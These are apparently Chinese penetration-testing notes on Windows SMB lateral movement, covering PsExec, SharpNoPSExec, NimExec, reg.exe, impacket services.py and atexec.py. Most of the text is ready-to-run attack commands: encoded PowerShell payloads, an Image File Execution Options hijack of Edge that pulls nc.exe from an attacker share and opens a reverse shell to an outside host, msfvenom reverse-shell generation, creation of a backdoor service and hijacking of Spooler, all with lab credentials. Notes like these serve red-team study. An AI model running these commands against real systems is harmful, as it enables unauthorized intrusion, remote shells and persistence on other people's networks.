SMB
Server Message Block (SMB) 是一种网络通信协议,主要用于网络直之间共享文件、打印机以及其他资源。该协议还支持用于进程间通信的事务协议
1. SMB 横向
1.1. 条件:
TCP445 TCP139必需开放,TCP135也可能需要开放(一些工具会用到此端口)
1.2. UAC 远程限制
UAC 可能会阻止我们进行远程代码执行,且会因Windows版本有所不同.但一般会有这些特点
- 需要本地管理员
- 非rid 500的本地管理员用户无法执行如
Psexec之类的工具 - 有机器管理员权限的域用户可以执行
psexec之类的攻击 - RID 500本地管理员账户可以在机器上使用
PSexec登工具
2. SMB 命名管道
SMB中的命名管道通过 TCP 445 端口的 IPC$ 共享进行访问能完成很多操作
例如:
svcctl:远程创建、启动和停止服务以执行命令(psexec、smbexec)atsvc:远程创建用于执行命令的计划任务(atexec)winreg:对 Windows 注册表的远程访问,允许查询和修改注册表键值。
3. 横向
3.1. PSExec
PsExec是微软 Sysinternals suite套件中的一部分,这个套件提供帮助管理员执行任务的工具集,使用SMB协议,通过命令管道来接收远程命令并返回输出,它运行在139 和445端口
执行操作:
- 通过 SMB 建立与隐藏共享
ADMIN$的连接,此共享对应于远程系统上的 C:\Windows 目录(psexec.py会通过MSRPC 建立服务,并通过 svcctl SMB 管道管理该服务) - 利用服务控制管理器 (SCM) 启动 PsExecsvc 服务:并在远程系统上建立一个命名管道
- 通过创建的命名管道重定向控制台的输入和输出
PsExec消除了Kerberos双跳问题,因为凭据随命令一起传递,并生成交互式登录会话(类型 2)
3.2. SharpNoPSExec
SharpNoPSExec 通过利用目标系统上现有服务来横向移动
该工具会查询目标机器上的所有服务,识别出那些启动类型设置为“禁用”或“手动”、当前状态为“已停止”且以 LocalSystem 权限运行的服务
随机选择其中一个服务临时修改其二进制路径,指向攻击者指定的Payload,执行后会等待大约 5 秒钟后恢复原始服务配置并将服务还原至之前的状态
3.2.1. 使用
首先需要开启监听
nc -lvnp 1337
PS C:\Tools> .\SharpNoPSExec.exe --target=172.20.0.52 --username=Administrator --password=Admin123 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ...SNIP...AbwBzAGUAKAApAA=="
[>] Open SC Manager from 172.20.0.52.
[>] Getting services information from 172.20.0.52.
[>] Looking for a random service to execute our payload.
|-> Querying service NetTcpPortSharing
|-> Querying service UevAgentService
|-> Service UevAgentService authenticated as LocalSystem.
[>] Setting up payload.
|-> payload = c:\windows\system32\cmd.exe /c ...SNIP...AbwBzAGUAKAApAA==
|-> ImagePath previous value = C:\Windows\system32\AgentService.exe.
|-> Modifying ImagePath value with payload.
[>] Starting service User Experience Virtualization Service with new ImagePath.
[>] Waiting 5 seconds to finish.
[>] Restoring service configuration.
|-> User Experience Virtualization Service Log On => LocalSystem.
|-> User Experience Virtualization Service status => 4.
|-> User Experience Virtualization Service ImagePath => C:\Windows\system32\AgentService.exe
3.3. NimExec
NimExec是一款无文件远程命令执行工具,其运作机制基于利用服务控制管理器远程协议(MS-SCMR)
与传统 WinAPI 调用方式不同, NimExec 通过操纵具有 LocalSystem 权限的指定或随机服务的二进制路径,在目标机器上执行指定命令,随后恢复原始配置
通过 SMB 和 svcctl 命名管道手动构建和发送自定义的 RPC 数据包,以规避许多基于 API 调用监控EDR
执行方式与上面一样
nc -lvnp 1337
.\NimExec -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c powershell -e JABjAGwAaQBlAG...SNIP...AbwBzAGUAKAApAA==" -v
3.4. Reg.exe
利用了 winreg SMB 管道,可以对注册表进行远程读写。通常远程注册表服务只在win server上启用
3.4.1. 利用
下面利用此工具为Edge浏览器添加了一个新的注册表项,只要运行浏览器就会执行我们指定的载荷
#开启Smbserver
python3 smbserver.py share -smb2support /home/plaintext/nc.exe
#监听
nc -lnvp 8080
#修改注册表
PS C:\Tools> reg.exe add "\\srv02.inlanefreight.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\172.20.0.99\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.0.99 8080"
- /v Debugger:添加的注册表名字
- /t reg_sz:指定数据类型为字符串
- /d payload
- 注意需要使用完整的路径:
add \\<域名>\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe
在无需身份验证的情况下使用 SMB 共享文件夹 需要把下面的注册表项改成1 才行
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f
这条命令用于开启不安全来宾登录
3.5. services.py
┌──(root㉿kali)-[~]
└─# impacket-services administrator:Admin123@192.168.8.8 list
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Listing services available on target
1394ohci - 1394 OHCI Compliant Host Controller - STOPPED
3ware - 3ware - STOPPED
ACPI - Microsoft ACPI Driver - RUNNING
AcpiDev - ACPI 设备驱动程序AcpiDev - STOPPED
acpiex - Microsoft ACPIEx Driver - RUNNING
acpipagr - ACPI 处理器聚合器驱动程序acpipagr - STOPPED
AcpiPmi - ACPI 电源表驱动程序AcpiPmi - STOPPED
acpitime - ACPI 唤醒警报驱动程序acpitime - STOPPED
Acx01000 - Acx01000 - STOPPED
ADP80XX - ADP80XX - STOPPED
ADWS - Active Directory Web Services - RUNNING
AFD - Ancillary Function Driver for Winsock - RUNNING
afunix - afunix - RUNNING
ahcache - Application Compatibility Cache - RUNNING
AJRouter - AllJoyn Router Service - STOPPED
ALG - Application Layer Gateway Service - STOPPED
AmdK8 - AMD K8 Processor Driver - STOPPED
AmdPPM - AMD Processor Driver - STOPPED
amdsata - amdsata - STOPPED
amdsbs - amdsbs - STOPPED
amdxata - amdxata - STOPPED
AppID - AppID 驱动程序AppID - STOPPED
3.5.1. 执行命令
我们也可以利用这个进行反弹shell,他有一个好处,如果某项服务配置了特定的用户账户,我们就能利用该账户并模拟其身份
#生成shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.207 LPORT=9001 -f exe-service -o rshell-9001s.exe
#创建服务
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'Service Backdoor' -display 'Service Backdoor' -path "\\\\10.10.14.207\\share\\rshell-9001.exe"
#查看服务 config -name <serviceName>
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name 'Service Backdoor'
#开启监听,启动服务 start -name <serviceName>
impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name 'Service Backdoor'
#删除服务 delete -name <serviceName>
services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 delete -name 'Service Backdoor'
#修改现有的服务
impacket-services INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 change -name Spooler -path "\\\\10.10.14.207\\share\\rshell-9001.exe" -start_type 2
3.6. atexec.py
atexec.py利用了 Windows 任务计划程序服务,通过 atsvc SMB 管道远程向计划程序添加任务,该任务将在指定时间执行
命令输出会发送到一个文件并通过 ADMIN$ 共享访问该文件
所以此工具需要时间同步到分钟级别
atexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 "powershell -e ...SNIP...AbwBzAGUAKAApAA=="
3.7. NTLM Relay
还有一种方法是通过SMB共享来触发 NTLM中继